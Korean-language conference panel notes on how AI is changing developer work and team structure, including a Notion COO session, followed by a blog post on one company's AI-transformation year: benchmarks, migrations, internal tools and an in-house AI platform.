- 이 시대에 어떤 문제를 해결해야 할지, 어떤 취향을 담아 고객에게 전달해야 우리 제품을 쓰게 할지 고민할 수밖에 없는 시대(토스도 2, 3년 전에 했던 말이고, 꽤 많은 조직이 해온 이야기지만 지금 와서 훨씬 중요해짐)
(진행자의 "목적 조직을 어떻게 리드하는가" 추가 질문에) 특정 목적 조직 외에도 여러 조직을 겸하고 있음. 제품 리뷰/기술 리뷰/운영 이슈 등 방향을 정하는 흐름으로 조직을 리드하며, 예전엔 테크 직군과 주로 대화했다면 최근엔 기술과 AI를 함께 논의하는 경우가 늘어남

박성우 (한국디지털에셋) - 팀장급 대상

본인 팀은 팀원 전원이 팀장급 개발자(농담 반 진담 반)
- AI로 개인이 감당할 수 있는 업무 범위가 크게 넓어지면서 기존의 "팀" 개념 자체가 달라짐
"한 명 한 명이 팀으로 일해야 한다"는 이야기를 팀에 하고 있음
제품 방향 고민이나 커뮤니케이션 범위, 기술적 의사결정의 폭과 속도가 모두 넓고 빨라져, 기존처럼 팀 리드가 조언/코칭/리뷰를 해주기엔 속도가 따라가지 못하는 상황
- "나는 도대체 뭘 하는 사람인지" 회의감이 든 적도 있음
결국 개개인이 넓어진 범위에서 일할 수 있는 방향과 환경을 더 치열하게 고민해야 하는데, 팀원들이 그 속도에 지쳐가고 있진 않을까 걱정되는 시기

Q. AI 시대에도 변하지 않는 개발자의 핵심 역량은?

박용권 (당근마켓)

20년 내내 말해온 것 - 오늘의 나보다 내일의 나를 조금이라도 더 나아지게 하려는 태도. 그 성장 포인트를 끊임없이 찾아가며 노력하는 마음가짐은 AI 시대에도 동일

박성우 (한국디지털에셋)

책임감
- "마침표를 찍을 줄 아는 사람"이 가장 같이 일하고 싶은 사람. AI로 속도는 빨라져도 일을 완수하는 책임은 결국 그 사람의 몫

서동민 (두들린)

설계 - 코드를 짜는 행위 자체는 AI가 하지만, 무엇을 어디부터 어디까지 만들지, 다른 코드에 어떤 영향을 미칠지, 어떤 방향성으로 만들지 정의하는 것은 아직 AI가 못 하는 사람의 영역
그래서 "내가 이걸 어떻게 만들 것인가"를 설명하는 능력이 점점 더 중요해질 것

Q. 내일부터 회사에서 딱 한 가지를 바꿀 수 있다면?

박성우 (한국디지털에셋)

보안 특성상 운영 환경까지는 AI를 활용하지 못하고 있는 게 아쉬움 - 운영 환경 데이터 활용 방법을 고민 중

서동민 (두들린)

소스 관리, 제안(PR)/리뷰, 디자인 협업 등 기존 개발 프로세스를 AI 시대에 맞게 아예 무(無)에서부터 새로 만들고 싶음
- 지금의 프로세스는 사람 중심으로 짜여 있어 AI를 잘 쓰기엔 맞지 않는다고 봄
AWS의 AI DLC 프레임워크를 예로 들며, 직군별로 인원수를 다투던 시대는 끝났고 PM/엔지니어/디자이너 정도의 최소 구성으로도 충분히 만들 수 있는 시대라고 봄

AI DLC (AI Development Life Cycle): AWS가 제시하는, AI 활용을 전제로 재설계한 소프트웨어 개발 생명주기 프레임워크.

Inside Silicon Valley's Build Mode - Notion COO와 나누는 제품, 팀, 일하는 방식

Akshay Kothari(Notion 공동창업자 겸 COO)
진행: 이상아 (쿠팡)

Q. 노션 COO이기 전에, 실리콘밸리의 파운더이자 오퍼레이터로서 자기소개를 한다면?

인도에서 자라 미국에서 학사/석사를 마친 뒤, 스탠포드를 나오자마자 Pulse라는 회사를 창업
- 2013년 LinkedIn에 인수돼 약 5년 재직
2018년 노션에 여덟 번째 직원으로 합류해 다양한 역할을 거쳤고, 현재는 프로덕트/디자인/스토리텔링/브랜드를 맡고 있음

Q. 노션의 오리지널 비전 중 AI 때문에 바뀐 것은?

원래 비전은 소프트웨어 제작의 민주화
- 2천만 명의 개발자만 소프트웨어를 만들고 나머지는 쓰기만 해야 하는 구조를 바꾸고 싶었음
레고 블록에서 영감
- 동일한 블록으로 누구나 자신이 원하는 걸 조립할 수 있듯, 문서(docs) -> 데이터베이스 -> 자동화 -> 에이전트 순으로 "소프트웨어 블록"을 확장해 옴
AI 이전엔 사용자가 블록을 직접 조립해야 했다면, 이제는 원하는 언어로 말하면 AI가 대신 블록을 조립해줌
- 이걸 malleable software라고 부름

Malleable Software (말랑말랑한 소프트웨어): 플라스틱처럼 사용자가 자유롭게 변형/커스터마이징할 수 있는 소프트웨어라는 의미.

Q. 지난 1년간 노션의 의사결정과 가정은 어떻게 바뀌었나?

3, 4개월 전 출시한 개발자 플랫폼이 가장 큰 변화
1년 전 노션은 MCP/제대로 된 API/워커/액션이 없는 폐쇄적 플랫폼이었음
AI는 컨텍스트가 많을수록 좋아진다는 판단 아래, 노션을 "AI를 강제하는 폐쇄형"에서 "어떤 AI든 자유롭게 붙일 수 있는 완전 개방형"으로 전환
- 노션 자체는 기록의 시스템(system of record) 역할

Q. 여러 툴(슬랙/클로드/코덱스 등)을 오가며 일하는 개발자에게 노션은 어떻게 쓰이나?

개발자 플랫폼의 3가지 핵심 기능
- 임의의 데이터 소스 연결
- 특정 액션의 코드화
- 다른 에이전트를 노션 위로 불러오기
사내 소프트웨어 엔지니어링 팀은 노션을 하나의 "공장"처럼 사용 - 칸반 보드로 작업을 시각화하고, 클로드가 계획을 짜고 코덱스가 코드를 작성하고 또 다른 에이전트가 검수/배포하는 식
이 오케스트레이션 방식은 엔지니어링뿐 아니라 세일즈/마케팅 등 워크플로가 있는 모든 영역에 적용 가능
일부 고객은 노션 팀 자신보다도 이 방식을 더 잘 활용하고 있음

Q. 파운더 겸 오퍼레이터로서, 빠르게 변하는 AI 앞에서 전략을 어떻게 조정하나?

AI-필드 (AI-pilled): 실리콘밸리에서 쓰이는 표현으로, AI라는 새 기술의 힘을 의심 없이 받아들이고 적극 활용하는 사람을 가리킴.

예전엔 6개월 단위로 헤드카운트 계획과 제품 로드맵을 세웠는데, 이제는 사실상 실시간(just-in-time) 운영
- 매달 새 모델이 나오기 때문에 미리 계획하기 어려움
내부적으로 "모델과 싸울 수 없다, 강물이 흐르는 방향에 올라타야 한다"는 표현을 씀
- 로드맵도 향후 4-6주 정도만 구체적으로 그림
세 가지 축으로 방향을 유지
- 코어(문서/데이터베이스 등 시스템 오브 레코드)
- 에이전트 운영체제(에이전트/플랫폼웨어)
- 노션 링(문제 해결형 패키징 솔루션)
인원 수 기준 예산 대신 달러 기준 예산으로 전환
- 투자 결정도 실시간으로 이뤄짐
연례 컨퍼런스를 폐지하고 3개월마다 온라인으로 큰 런칭을 진행
- 물리적 행사는 준비에 6-9개월이 걸려 빠른 변화에 대응하기 어려움

Q. IC는 에이전트를 매니징하고 매니저도 IC 역량이 필요해지는 시대, 하이퍼포밍 팀은 어떻게 구성/운영돼야 하는가?

IC (Individual Contributor): 매니저 직책 없이 실무로 기여하는 개인 기여자.

아직 확실한 답은 없지만, 하나의 거대 팀보다 작은 팀 여러 개가 더 많은 프로젝트를 맡는 방향을 지향
코딩 에이전트를 제대로 다루는 2, 3명이면 상당한 힘을 낼 수 있음
- 실제로 노션의 개발자 플랫폼 전체를 12명 미만의 인원이 만듦(피자 두 판 팀 원칙)
기존 인력이 에이전트를 충분히 활용하도록 스킬업시키거나, 이미 익숙한 사람을 새로 채용해야 함
노션도 처음엔 소수의 AI-필드 직원에서 시작해, 지금은 전 직원이 AI 기반으로 사고하는 수준까지 확산됨

Q. (청중 질문) AI로 인한 "생산성 향상"이 실제 제품/서비스 생산성에 미치는 영향을 어떻게 측정하나?

Data Scout: 노션 사내에서 만든 커스텀 에이전트. 노션의 컨텍스트, MCP로 연결된 스노우플레이크(Snowflake) 데이터, 컴퓨터 사용 권한을 갖춰 데이터 사이언티스트가 하던 쿼리 작업을 누구나 할 수 있게 해줌.

노션의 초점은 개인이 아니라 "팀" 단위
- 한 사람이 만든 커스텀 에이전트를 회사 전체가 쓸 수 있다는 점이 핵심 힘
사례: 사내 엔지니어 한 명이 만든 "Data Scout" 에이전트를 하룻밤 사이 전사에 공유
- 이후 전 직원이 사실상 개인 데이터 사이언티스트를 갖게 됨
- 쿼리 1회당 3-4달러 비용에도 그만한 가치가 있다고 판단
데이터 사이언티스트 채용은 계속하지만, 역할이 "개별 쿼리 수행"에서 "시스템을 유지/고도화하는 역할"로 바뀜

Developer Reality Check - 개발자들은 진짜로 어떻게 생각할까?

김수빈 (당근마켓), 강현구 (센드버드), 성한영 (우아한형제들)
진행: 김만수 (센드버드)

Q. AI 사용 전후로 개발자로서의 하루가 많이 바뀌었다고 느끼는가?

성한영 (우아한형제들)

개발과 매니징을 병행하는데, AI를 쓴 뒤 처리할 수 있는 일의 양 자체가 늘어 요구받는 것도 많아짐
하루 업무가 여러 갈래의 짧은 단위로 잘게 쪼개질 만큼 달라짐

강현구 (센드버드)

목적에 다다르기 위한 행위(방법)는 많이 바뀌었지만, "무언가를 만든다"는 목적 자체는 그렇게 바뀌지 않음
AI 시대가 되면서 오히려 일이 많아지고 결국 해야 할 야근은 여전히 해야 해서, 하루가 크게 바뀌진 않았다고 봄

김수빈 (당근마켓)

원래도 팀에서 운영하는 개발자 플랫폼/서비스 제품이 많아, AI 도입 이전부터 여러 제품을 오가며 컨텍스트 스위칭하는 운영 업무가 많았음
AI가 이런 작업을 가속화하긴 했지만, 체감하는 컨텍스트 스위칭이나 개발량 자체는 이전과 비슷한 수준

강현구 (센드버드) - 자체 툴 제작 사례

슈퍼셋, 시냅스처럼 여러 터미널을 통합해 작업하는 툴이 나왔을 때도 "병렬로 일하는 게 정말 효율적인가" 의문이 있었음
직접 필요에 맞는 도구를 만들어보니 "도구가 없어서 그렇게 일을 못 했던 것"임을 깨달았고, 이후 일하는 방식이 많이 바뀜

성한영 (우아한형제들) - 매니저 관점

툴링을 직접 만드는 팀원을 볼 때, 문제 해결이 아니라 "도구를 위한 도구"를 만드는 자아실현으로 빠지는 경우를 경계함
그 경우가 아니라면 직접 도구를 잘 만드는 것 자체는 팀에 도움이 된다고 봄

Q. AI가 만든 결과물에 대한 신뢰도가 높은가?

강현구 (센드버드)

모델이 점점 좋아지면서 맡길 수 있는 일의 수준이 계속 올라가는 중
- 앞으로 더 좋아질 거라는 예측 아래 "지금 믿지 않고 쓰면 나중엔 믿을 수 있을까" 싶어 신뢰하려는 입장
다만 지금 당장 결과물이 늘 만족스러운 건 아니어서, 어떻게 지시해야 더 잘 쓸 수 있을지에 관심을 두는 편

김수빈 (당근마켓)

AI 신뢰도와 리스크는 저울질이 필요
- 본인이 개발하는 사내 플랫폼은 잘못된 결과물이 배포되면 인터페이스 롤백이 어려운 경우가 있어 한 번 더 검증하는 습관을 유지
코딩은 99% 이상 AI 에이전트로 생성하지만, 로컬/스테이징/운영 등 여러 검증 레이어를 리스크 수준에 따라 다르게 쌓아서 신뢰도를 관리
- 예: 로컬 시뮬레이션, 스테이징 배포 후 시뮬레이션, 운영 환경 성능 테스트, 다양한 에이전트를 통한 코드 리뷰 등

성한영 (우아한형제들)

사내 AX 도구를 직접 개발하는 입장이라, AI에게 일을 시켰을 때 원하지 않는 방향으로 나오는 경우를 계속 마주하며 개선 포인트를 찾게 됨
다만 목표는 신뢰도가 높은 상태를 만드는 것

Q. 신뢰도를 높이기 위한 가드레일이나 팁이 있는가?

강현구 (센드버드)

원하는 결과가 나오도록 인풋(지시사항)을 최대한 구체적으로 명시
SDK 개발 특성상 특정 부분 수정 시 사이드 이펙트 발생 여부가 중요한데, 에이전트 10개 정도를 병렬로 띄워 사이드 이펙트를 체크하고 재현율이 높은 것들을 추려 추적 - 대부분의 경우 문제 지점이 높은 확률로 드러남

Q. AI 도입 후 컨텍스트 스위칭이 늘었다고 느끼는가?

성한영 (우아한형제들)

코드를 손으로 직접 치지 않게 되면서 물리적으로 확보되는 시간이 늘어, "이것도 해보고 싶고 저것도 해보고 싶은" 일이 많아짐
- 그 결과 컨텍스트 스위칭도 자연히 늘어남

김수빈 (당근마켓)

컨텍스트 스위칭의 "종류"가 달라졌을 뿐, 종합적으로는 오히려 줄어든 느낌
예전엔 개발자 요청이나 이슈를 그때그때 바로 처리해야 했다면, 지금은 에이전트가 미리 처리하거나 빠르게 대응하는 경우가 늘어, 단순 업무에 쓰는 시간은 줄고 플랫폼 고도화/재설계처럼 깊은 고민이 필요한 일에 더 오래 집중하는 쪽으로 바뀜

Q. 노트 테이킹과 업무(태스크) 관리는 어떻게 하는가?

성한영 (우아한형제들)

매니저로서 우선순위 관리가 어려운 자리인데, 주간 단위로 클로드 등 AI 자동화를 활용해 컨텍스트를 정리
팀원이 업무 내용을 글로 잘 정리해서 공유해줄수록(컨텍스트가 풍부할수록) 더 잘 이해하고 해결할 수 있는데, 컨텍스트 정보가 적은 팀원의 업무는 파악하는 데 더 고민이 필요

강현구 (센드버드)

매니저가 아니라 개인 업무 자체는 AI 이후로도 크게 달라지지 않음 - 기존처럼 티켓 기반으로 생성/관리
부가적으로 들어오는 업무는 슬랙 "나에게 메시지 보내기"로 간단히 기록
- 슬랙에 클로드를 연동해두면 바로 실행하거나 컨플루언스 문서 업데이트까지 가능해 편리

김수빈 (당근마켓)

메신저는 슬랙, 문서화는 노션, 티켓/이슈 관리는 리니어(원문 "미디어", 정확한 툴명 확인 필요)를 사용
슬랙/구두로 논의된 업무가 노션에 정리되고, 그 주/그 달에 실행하기로 확정된 것은 이슈로 등록
- 이슈 하나가 에이전트 하나가 실행하는 작업 단위가 됨
필요하면 서브 이슈를 만들어 서브 에이전트에게 맡기고, 에이전트가 작업한 로그를 다시 이슈 코멘트로 남기는 방식

Q. IDE 없이 터미널(클로드 코드 등)만으로 작업이 가능한가?

강현구 (센드버드)

IDE는 거의 열지 않게 됨
- 회사에서 지원하던 커서도 비용이 아까워 정리하려는 중
최근엔 "에이전틱 IDE"로 불리는 컴포저/슈퍼셋/오르카 같은 도구로 터미널 기반 작업을 하면서, 필요할 때만 간단히 코드를 보는 정도

김수빈 (당근마켓)

IDE 사용 비중은 업무의 약 10% 정도
- 코드 리뷰나 직접 검증이 필요할 때, 터미널에서 눈으로 코드를 따라가기 어려운 부분을 IDE로 파악하는 용도로만 사용

Q. 회사에서 AI 도구를 얼마나 지원해주는가?

성한영 (우아한형제들)

클로드를 전사에 지원 중이며 전 직원이 사용
- 개발자들의 활용 속도가 매우 빠름

김수빈 (당근마켓)

개발자와 비개발자가 동일하게 지원받고, 원하는 것을 지원해주는 정책
사내에서 효용이 검증된 도구(앤트로픽 클로드, GPT/코덱스, 커서) 중 예산에 맞게 선택
- 클로드 맥스만 쓰거나, GPT와 코덱스를 반반 쓰거나, 코덱스 200달러 플랜을 쓰는 식
서비스에 사용하는 LLM API는 특별한 제한 없이 원하는 모델을 사용

강현구 (센드버드)

대부분의 툴을 지원하는 방향
- 클로드 코드는 팀 플랜이 열리자마자 전사 제공, 코덱스도 성능이 좋아진 이후 지원 시작
비용 측면에서 너무 비싸지지 않게 효율적으로 지원할 방법을 계속 고민 중

Q. AI를 잘 쓰는 개발자가 일도 잘한다고 느끼는가?

성한영 (우아한형제들)

반대라고 생각
- AI를 잘 써서 일을 잘한다기보다, 일을 잘하는 사람이 AI를 잘 가르치고 다루는 경우가 많음
결국 AI가 만든 코드 중 무엇을 채택할지는 사람이 정하는 것
- 이 도구를 어떻게 잘 다룰지 깊게 고민하고 접근하는 사람 자체가 희소하고, 그 고민이 이 시대에 가치 있는 것

강현구 (센드버드)

어느 쪽이라고 답해도 차이가 없을 것 같아 고민했는데, 시간이 지날수록 AI를 잘 쓰는 개발자가 고민도 잘한다고 느낌
결국 일을 잘하는 사람이 AI도 잘 쓴다는 쪽으로 둘 다 해당

김수빈 (당근마켓)

AI를 잘 쓰는 것은 일을 잘하기 위한 여러 조건 중 하나일 뿐, AI를 잘 써도 일을 못 할 수 있다고 봄
AI를 다루는 능력 자체는 점점 평준화되고 있다고 느낌
원래 일을 잘하던 사람에게 AI는 "날개를 달아주는 것"일 뿐
- AI를 위한 도구, 에이전틱 워크플로를 만드는 일 자체에 매몰되는 것을 경계

개발 자동화에서 조직 AX까지

2026-07-14T00:00:00+09:00

오랫동안 테스트했던 사내 배포 시스템을 드디어 운영 환경에 배포했습니다.

이제 누구나 AI로 앱을 만들고 공개 범위만 정한 뒤 “배포해줘~”라고 하면, 자동으로 보안 점검을 거쳐 내부망에 배포하고 사내에 공유할 수 있습니다.

이 글은 배포 시스템의 완성을 계기로 돌아본, 지난 1년간의 전사 AX(AI Transformation) 여정입니다. 다양한 의견은 언제나 환영합니다 ㅎ

AI의 등장

2025년 초까지 개발하면서 GitHub Copilot이나 ChatGPT, Claude의 도움을 조금씩 받고 있었습니다. 그때까지만 해도 개발은 어디까지나 개발자가 하고, AI는 옆에서 약간의 도움을 주는 보조적인 역할이었습니다.

그러다가 2025년 하반기, Claude Opus 4.1이 나오면서 엄청난 충격을 받았습니다. AI가 보조적인 역할에서 완전히 ‘메인’이 되는 순간이었습니다. Sonnet과 Opus의 체급 차이는 엄청났고, 난생처음으로 AI 구독에 월 $200짜리 플랜을 2개씩 구매해서 사용하기 시작했습니다. (구독에 $400이라니 말도 안 되게 비싸 보였지만, 개발자 인건비를 생각하면 한없이 혜자스러운 가격입니다.) Claude Code에 너무 감동받아 무려 4년 만에 블로그 글(초보를 위한 Claude Code 안내서)을 쓰기도 했습니다. 새롭게 쏟아지는 AI 소식들이 재밌어서 계속 밤샜던 기억이 납니다.

이때부터 AI가 미친 듯이 발전하고 다양한 툴이 쏟아져 나오기 시작했습니다. Nano Banana Pro 한글 품질의 충격, Typeless 음성인식의 부드러움, 마치 사람처럼 끝까지 요청한 일을 해내는 OpenClaw, 그리고 Claude에서 플러그인을 하나 만들면 SaaS 업체 주가가 폭락하는 충격까지… 이제 개발을 넘어 모든 업무에 AI를 적용할 수 있게 되었습니다. 그전까지는 메일 초안을 도와주거나 이미지를 생성하는 수준이었다면, 이제는 내가 가진 데이터와 맥락(Context)에 접근하고 실제 액션까지 수행하게 되었습니다.

세 가지 시도

2026년 초, 도대체 어디까지 AI를 적용할 수 있을지 궁금했습니다. 그래서 몇 가지 테스트를 진행했습니다.

첫 번째, 개발 업무 중 몇 %를 자동화할 수 있을까?
두 번째, 기존 시스템을 차세대 버전으로 마이그레이션할 때 얼마나 효율적일까?
세 번째, 신규 서비스 개발을 얼마나 안정적으로 빠르게 할 수 있을까?

첫 번째, 개발 자동화 테스트 결과는 충격적이었습니다.

제가 일하고 있는 퍼플아이오에서는 Asana를 태스크 관리 시스템으로, GitLab을 소스 저장소로, 배포는 작업별로 Branch를 따는 GitHub Flow 개발 방식을 사용하고 있습니다. Asana에 요청 사항이 들어오면 세부적으로 추가 논의를 하고, 태스크 번호로 Branch를 따서 작업 및 테스트를 거쳐 최종 배포하는 방식입니다. Branch = PR(Pull Request)이 곧 하나의 작업 단위입니다.

자동화 성능 테스트를 위해 최근 완료된 PR 180건을 샘플링해서 Diff 코드를 저장했습니다. 그리고 각 PR의 시작 시점 Git 코드를 가져와서, 오직 Asana 태스크만 보고 사람의 개입 없이 AI에게 PR을 작성하게 했습니다. 그리고 그 결과 Diff를 서로 비교했습니다.

결과는 사람이 작성한 코드와 AI가 작성한 코드의 평균 구현 일치도가 70%였습니다(태스크 설명이 제대로 작성된 구현 가능 PR 110건 기준). 100% 일치한 게 30개(태스크 설명이 상세한 PR의 27%), 90% 이상 거의 일치한 게 38개였습니다. 실패의 원인은 대부분 ‘태스크 설명이 부실해서’였고, 문제는 AI가 아니라 요구사항 정의였습니다.

다음은 실제 벤치마크 결과 보고서 일부입니다.

두 번째, 기존 레거시 시스템을 그대로 옮기는 것도 충격적이었습니다.

우리가 만든 CMS는 오래된 이슈가 있었습니다. 나름 Next.js에 React 구조였기 때문에 당장 큰 불편함은 없었지만, 한 번 크게 개선해야겠다는 생각은 하고 있었습니다. 보통 이런 작업은 우선순위가 낮아 방치되기 마련인데, AI를 활용해 보기로 했습니다.

AI에게 전체 소스코드 접근 권한을 주고 브라우저로 페이지를 분석하게 했습니다. AI가 브라우저를 띄우고 CMS에 접근한 뒤, 사용자가 로그인할 때까지 기다렸다가 마이그레이션할 페이지들에 접속하여 각 화면과 네트워크 요청을 분석하라고 시켰습니다. 그리고 각 페이지 스크린샷을 찍고 UI 구조, 컴포넌트, 데이터 모델링, API 호출, 상태 관리 등을 정리해 달라고 했습니다.

보통 AI가 만든 결과가 이상한 건 “내 맘에 안 들어서”입니다. 내 맘에 안 드는 이유는 요청을 모호하게 했기 때문이고(예: “기획전 관리 기능 만들어줘”), 반대로 ‘기존 페이지 소스코드와 화면’ 자체가 완벽한 기획서가 될 수 있다면 결과는 거의 의도한 대로 나옵니다.

내부 데이터가 있어 전부 공개할 순 없지만, 기본 기능은 완벽하게 동작했습니다. ~~지금 봐도 싱기..~~

이제 코드를 잘 타이핑하는 것보다 기능을 어떻게 명확히 정의하느냐가 더 중요해졌습니다. (Spec이 짱이다!)

이후 내부에서 큰 규모의 차세대 기능 마이그레이션 프로젝트가 있었는데, 기존 계획 대비 절반도 안 되는 리소스로 완료하고 안정적으로 운영 중입니다. 가장 시간이 많이 걸린 건 코딩이 아니라 기존 로직을 .md 파일로 정리하고 테스트 케이스를 빠짐없이 짜는 작업이었습니다.

세 번째, 신규 서비스 개발도 충격적이었습니다.

요구사항(Spec)만 잘 정의하면 구현은 원하는 대로 나왔기 때문에, 신규 시스템 구축도 훨씬 효율적으로 할 수 있었습니다.

기존에 요구사항 분석 -> 기획 -> 설계 -> 구현 -> 데모라는 긴 과정이 있었다면, 이제는 요구사항을 받자마자 그걸 세계 최고 수준의 전문가(넌 글로벌 탑티어 회사의 기획자야!)가 기획하고 개발까지 완료해서 첫 미팅부터 동작하는 데모를 보여주고 피드백을 받는 게 가능해졌습니다.

요구사항(3-4줄)을 받으면 그걸 바탕으로 PRD(제품 요구사항 정의서)를 만들고, 그 파일을 바탕으로 기능 명세를 정의한 뒤, 기능별 페이지, UI/Component, API/모델 설계, 사용자 Flow를 한 번에 생성하라고 했습니다. 그걸 사용자가 검토하고 승인하면 그대로 Ralph Loop으로 밤새 코드를 짭니다. 명세 보고 구현하고 제대로 짰는지 체크하고 다시 검증하라고 하면 구현만 6시간 정도 걸렸던 것 같습니다. ~~나는 잘 테니 넌 일해라~~

아래 화면은 그렇게 매장관리 시스템 초안을 잡은 모습입니다. (모두 가상 데이터입니다.)

첫 미팅 때 이미 동작하는 화면을 보고 이야기하니 개선이나 방향성을 잡기 훨씬 쉬웠습니다. 최종 완성 버전은 초기와 달라졌지만, 이 역시 기존 계획 대비 절반의 리소스로 구현했고 AI 분석 기능을 추가하여 더 강력한 기능을 제공하게 되었습니다.

전사적 선언

AI 성능에 강한 확신~~3 충격~~을 얻고 2026년 초, 회사의 방향을 AX로 정의했습니다. 밥 먹는 거 빼고 모오오오든 업무를 자동화하고 연말까지 인당 생산성을 200% 올리는 걸 목표로, 개인과 조직이 일하는 방식을 완전히 바꾸기로 했습니다.

AI가 못하는 일은 거어어어의 없어질 것이다.
- 코딩을 몰라도 많은 업무를 일정 수준 이상 자동화할 수 있습니다.
- 개발뿐 아니라 문서 작성, 분석, 운영, 배포, 데이터 처리까지 자동화의 대상이 됩니다.
앞으로는 맥락(Context)이 핵심 자산이 될 것이다.
- 나의 생각과 암묵지를 끊임없이 글로 남겨야 합니다.
- 내가 본 PPT, 문서, 자료를 markdown으로 저장해야 합니다.
- 팀과 맥락을 공유하고, 그 맥락 위에서 AI와 함께 일해야 합니다.
- AI는 맥락을 쉽고 효과적으로 모을 수 있게 도와줘야 합니다.

일단 단기적으로(한 달 내에) 할 수 있는 것부터 해보자고 사내 AI 챌린지(Quick Win)를 열었습니다.

홈 — Purple IO AI Quick Win

총 28개의 프로젝트가 등록됐고, 참가자들은 평균 83%의 업무 시간 절감 효과를 확인했습니다.

이걸 진행하면서 다시 한번 느낀 건, 정말 그냥 “해줘”라고 하면 다 해준다는 점입니다.

비개발자는 평소에 사용하던 CRM에서 지원하지 않던 기능(사이트 주소를 입력하면 스크립트를 분석해서 어떤 솔루션을 쓰는지 파악하고, 영업 리드 점수를 계산해 제안 메일 초안까지 써주는 기능)을 직접 만들었습니다.

개발자는 에러 알람이 오면 상세 로그를 뒤지고 관련 코드를 찾던 귀찮은 삽질을, AI가 1차 원인 분석을 끝낸 걸 확인만 한 뒤 승인하는 환경을 갖추게 되었습니다.

AI는 평소 하던 작업을 더 빠르게 하는 걸 넘어, 평소엔 생각도 못 했던 작업까지 가능하게 만들었습니다.

AI가 로컬에 있는 .md 파일을 읽고 해석하는 능력이 컨플루언스보다 낫다고 판단해 사내 정보를 옵시디언(Obsidian)에 모으기로 했습니다. 이때 가장 어려운 점은 비개발자분들에게 Git을 가르치는 일이었습니다. 누구나 문서를 작성하고 공유해야 하는데 Git CLI는 너무 높은 장벽이었습니다.

그래서 5분에 한 번씩 알아서 pull/push를 하고, 충돌이 나면 별도 파일로 쪼개어 머지 컨플릭트를 방지하는 옵시디언 플러그인을 만들었습니다. 옵시디언 플러그인 개발은 처음이었는데 AI 덕분에 몇 시간 만에 뚝딱 완성했고 문제없이 잘 쓰고 있습니다.

https://github.com/subicura/second-brain-plugin

또한 모바일 환경에서도 끊김 없이 Claude Code 작업을 하고 싶어서 터미널과 AI 코딩 기능이 포함된 Mac 애플리케이션(PurpleMux)도 만들었습니다. 난생처음 만져보는 Electron에 터미널 에뮬레이터, tmux 연동까지 AI가 아니었으면 불가능했을 겁니다. 무려 11가지 언어를 지원하는데, 어느새 중국인 사용자도 생겼습니다.

https://subicura.com/purplemux

지금 개발팀은 상상하던 모든 툴을 붙여 코딩의 완전 자동화를 꿈꾸고 있습니다.

지금 이 시간에도 새로운 프로젝트가 등록되고 있습니다..

진행중인 자동화 프로젝트 보기

Purple Pipeline: Asana로 태스크가 인입되면 파이프라인 큐에 쌓이고, 기획자 -> 아키텍트 -> 디자이너 -> 개발자 -> 리뷰어 -> 배포자 등의 페르소나를 조합하여 업무를 끝까지 처리합니다.

Purple Test: E2E 테스트를 실행하고 과정을 녹화해서 결과를 확인합니다.

Purple Gauge: 성능 테스트 자동화 툴입니다.

Purple Auth: 사내 SSO 및 중앙 인증/세션 관리를 담당합니다.

MeetNote: 화자 구분이 가능한 로컬 회의록 녹음 및 옵시디언 플러그인입니다.

확산과 허들

개발팀 특성상 AI를 빨리 접했기 때문에, 자연스럽게 함께 일하는 현업 부서의 업무를 AI로 도와주기 시작했습니다. 반복 업무는 자동화 프로그램을 만들었고, 우리가 일하는 방식(Claude Code)도 그대로 전파했습니다.

그런데 문제는 시작부터 터졌습니다. Windows 환경에서 cmd를 난생처음 보는 분에게 Claude Code를 가르치는 건 생각보다 훨씬 어려웠습니다. 설치하고, cmd가 뭔지 설명하고, cd로 디렉토리를 이동하는 법을 알려주는 데 교육 시간의 대부분이 날아갔습니다. 이렇게 좋은 툴이 있는데 시작조차 못 하는 상황, 상상도 못한 허들이었습니다.

그래서 툴을 바꿨습니다. 구글이 만든 IDE인 Antigravity였습니다. 에디터 형식이라 GUI 기반이고 AI Assistant를 지원하기 때문에 초보자도 바로 활용할 수 있었습니다.

이 방법은 대성공이었고 초기 허들을 크게 낮출 수 있었습니다. 여기서 자연스럽게 Claude Code와 cmd 환경으로 넘어오고, 내부 데이터에 접근할 수 있는 커스텀 스킬을 배포하자 사내 자동화 앱과 대시보드가 폭발적으로 늘기 시작했습니다.

기존에는 단순 매출 흐름만 보여줬던 대시보드에서, 특정 쇼핑몰에서의 순위와 최근 리뷰도 모아서 보여주고, 경쟁사 인기상품도 보여주고 별도로 찾고 수작업했던 작업을 하나의 화면에 모아서 보여줍니다. 현업이 직접 만들기 때문에 뭐가 필요한지 더 잘 알고 더 유용하게 쓸 수 있습니다.

엑셀을 눈으로 비교하던 단순 작업이나, 매일 사람이 확인하고 지시했던 업무들이 자동화되기 시작했습니다. 가장 기분 좋은 피드백은 “4~5시간 걸리던 수작업인데, 아침에 출근하면 이미 완료되어 있어요”입니다.

개발자 수준의 ‘AI 챔피언’들이 탄생하고 있습니다.

진짜 문제는 따로 있었다

하지만 판이 커지다 보니 공통적인 문제가 보였습니다. 잘 쓰는 사람은 어느새 알아서 잘하고 있지만, 그렇지 못한 많은 분들에게 여전히 허들이 남아있었습니다.

Windows 중심의 업무 환경
M365 / OneDrive 기반의 분산된 업무 방식
내부 시스템 연동을 위한 까다로운 인증/기본 설정
그리고 배포의 어려움

한 땀 한 땀 개발자가 도와주면 되지만 거기엔 한계가 있습니다. 결국 스스로 자생할 수 있어야 합니다.

그래서 QuickWin 때 만들었던 DocSync를 전면 개조하기 시작했습니다. 기본 AI Assistant 기능 위에 사내 환경에서 쓰기 좋은 것들을 하나씩 붙여 사내 AI 플랫폼 ‘코코(KOCO)’를 만들었습니다. Claude /Claude Cowork와 거의 유사하며 최대한 사용자들이 쉽게 사용할 수 있게 설계하고 개발도 최소화했습니다.

사내 업무에 최적화되어 있고

시각화도 이쁩니다.

주요 특징은 다음과 같습니다.

개발 도구(nodejs) 내장, 별도 설치 필요 없음
OneDrive / 메일 / 캘린더 연동 (묻고 답하고 생성까지)
SAP 등 내부 데이터베이스 연계, 그룹웨어(전자결재, 지원관리 등) 연계
스킬 및 워크플로우 공유
바이브 코딩부터 사내망 배포까지 한 번에

메일, 공유 드라이브의 파일을 싱크하고 SQLite에 색인하고 암호화해서 보관합니다. 일반 사용자가 보안 걱정 없이, 복잡한 설정 없이 업무를 자동화하고 바이브 코딩까지 할 수 있게 되었습니다. 약 80명을 대상으로 3개월간 테스트하며 뜨거운 피드백을 받았고, 계속해서 업데이트 중입니다.

다양한 방식으로 쓰고 있지만 최근 좋은 사례 하나만 꼽자면 ‘경영 정보 Agent’입니다.

